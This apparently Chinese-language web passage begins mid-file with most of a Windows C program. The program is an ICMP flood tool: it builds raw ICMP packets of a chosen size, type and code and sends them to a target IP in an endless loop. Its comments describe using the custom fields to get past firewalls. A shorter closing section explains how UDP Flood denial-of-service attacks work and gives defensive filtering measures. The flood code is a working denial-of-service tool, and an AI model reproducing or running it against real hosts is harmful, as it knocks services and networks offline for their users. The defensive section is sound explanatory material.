//允許用戶自定義數(shù)據(jù)包大小、類型、代碼,用以繞過一些防火墻或做一些特殊的報(bào)文Flood
exit(0);
}
strcpy(DestIp,argv[1]);
if (argc>2) PacketSize=atoi(argv[2]); //取得數(shù)據(jù)大小
if (PacketSize>65500)
{
printf(“Packet size must less than 65500\n”); //太大會(huì)無法生成IP數(shù)據(jù)報(bào)的
exit(0);
}
?? if(argc>3) type=atoi(argv[3]); //取得類型值
if (type>16)
{
printf(“Type must less than 16\n”);
exit(0);
}
?? if(argc>4) code=atoi(argv[4]); //取得代碼值
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
{
fprintf(stderr,”WSAStartup failed:%d\n”,ErrorCode);
exit(0);
}
??if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)
{
fprintf(stderr,”WSASocket failed:%d\n”,WSAGetLastError());
exit(0);
}
flag=TRUE;
{
//設(shè)置發(fā)送超時(shí)
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if (ErrorCode==SOCKET_ERROR)
{
fprintf(stderr,”Failed to set send TimeOut:%d\n”,WSAGetLastError());
exit(1);
}
//主要代碼開始
printf(“Dest:%s?? packet:%d?? type:%d??code:%d\n\n”,argv[1],PacketSize,type,code);
printf(“Starting…\n\n”);?? //視覺效果:P
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(DestIp); //填充Socket結(jié)構(gòu)
//填充ICMP首部
icmp_header.i_type = type;
icmp_header.i_code = code;
icmp_header.i_cksum = 0; //校驗(yàn)和置0
icmp_header.i_id = 2;
icmp_header.timestamp = GetTickCount(); //時(shí)間戳
icmp_header.i_seq=999;
memcpy(SendBuf, &icmp_header, sizeof(icmp_header)); //組合ICMP報(bào)文和頭部
memset(SendBuf+sizeof(icmp_header), ‘E’, PacketSize); //用E填充ICMP數(shù)據(jù)
icmp_header.i_cksum = checksum((USHORT *)SendBuf,sizeof(icmp_header)+PacketSize); //計(jì)算校驗(yàn)和
??datasize=sizeof(icmp_header)+PacketSize; //計(jì)算整個(gè)數(shù)據(jù)包大小
//開始發(fā)送
while(1){ //無限循環(huán),按Ctrl+C跳出
/*
這里的printf實(shí)際上是為了延時(shí),F(xiàn)lood程序最好別用這么華麗的界面或字符提示來美化自己,這樣會(huì)迅速拖慢程序效率!當(dāng)然,如果能不顯示最好,但我去掉printf后,程序死掉了(太快?)如果你覺得“Sending1024 packets…”還是大大增加了延時(shí),可以改成printf(“.”); 一個(gè)小點(diǎn)。反正是自己用,用得順手就可以。
*/
printf(“Sending 1024 packets…\n”);
for(counter=0;counter<1024;counter++){ //循環(huán)發(fā)送1024個(gè)數(shù)據(jù)包為一組
//發(fā)送ICMP報(bào)文
ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(structsockaddr*)&DestAddr,sizeof(DestAddr));
if (ErrorCode==SOCKET_ERROR) printf(“\nSendError:%d\n”,GetLastError());
}
}
}
?? {
if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
WSACleanup();
}
return 0;
}
//代碼結(jié)束
=========================================================
UDP Flood攻擊原理與防護(hù)
UDP Flood攻擊原理
UDP Flood是日漸猖厥的流量型DoS攻擊,原理也很簡(jiǎn)單。常見的情況是利用大量UDP小包沖擊DNS服務(wù)器或Radius認(rèn)證服務(wù)器、流媒體視頻服務(wù)器。 100k pps的UDP Flood經(jīng)常將線路上的骨干設(shè)備例如防火墻打癱,造成整個(gè)網(wǎng)段的癱瘓。由于UDP協(xié)議是一種無連接的服務(wù),在UDP FLOOD攻擊中,攻擊者可發(fā)送大量偽造源IP地址的小UDP包。但是,由于UDP協(xié)議是無連接性的,所以只要開了一個(gè)UDP的端口提供相關(guān)服務(wù)的話,那么就可針對(duì)相關(guān)的服務(wù)進(jìn)行攻擊。
正常應(yīng)用情況下,UDP包雙向流量會(huì)基本相等,而且大小和內(nèi)容都是隨機(jī)的,變化很大。出現(xiàn)UDP Flood的情況下,針對(duì)同一目標(biāo)IP的UDP包在一側(cè)大量出現(xiàn),并且內(nèi)容和大小都比較固定。攻擊工具:
53端口的UDP Flood攻擊抓圖:
UDP Flood大包攻擊(占帶寬,分片):
UDP Flood防護(hù)
UDP協(xié)議與TCP協(xié)議不同,是無連接狀態(tài)的協(xié)議,并且UDP應(yīng)用協(xié)議五花八門,差異極大,因此針對(duì)UDP Flood的防護(hù)非常困難。其防護(hù)要根據(jù)具體情況對(duì)待:
判斷包大小,如果是大包攻擊則使用防止UDP碎片方法:根據(jù)攻擊包大小設(shè)定包碎片重組大小,通常不小于1500.在極端情況下,可以考慮丟棄所有UDP碎片。
攻擊端口為業(yè)務(wù)端口:根據(jù)該業(yè)務(wù)UDP最大包長(zhǎng)設(shè)置UDP最大包大小以過濾異常流量。
攻擊端口為非業(yè)務(wù)端口:一個(gè)是丟棄所有UDP包,可能會(huì)誤傷正常業(yè)務(wù);一個(gè)是建立UDP連接規(guī)則,要求所有去往該端口的UDP包,必須首先與TCP端口建立TCP連接。不過這種方法需要很專業(yè)的防火墻或其他防護(hù)設(shè)備支持。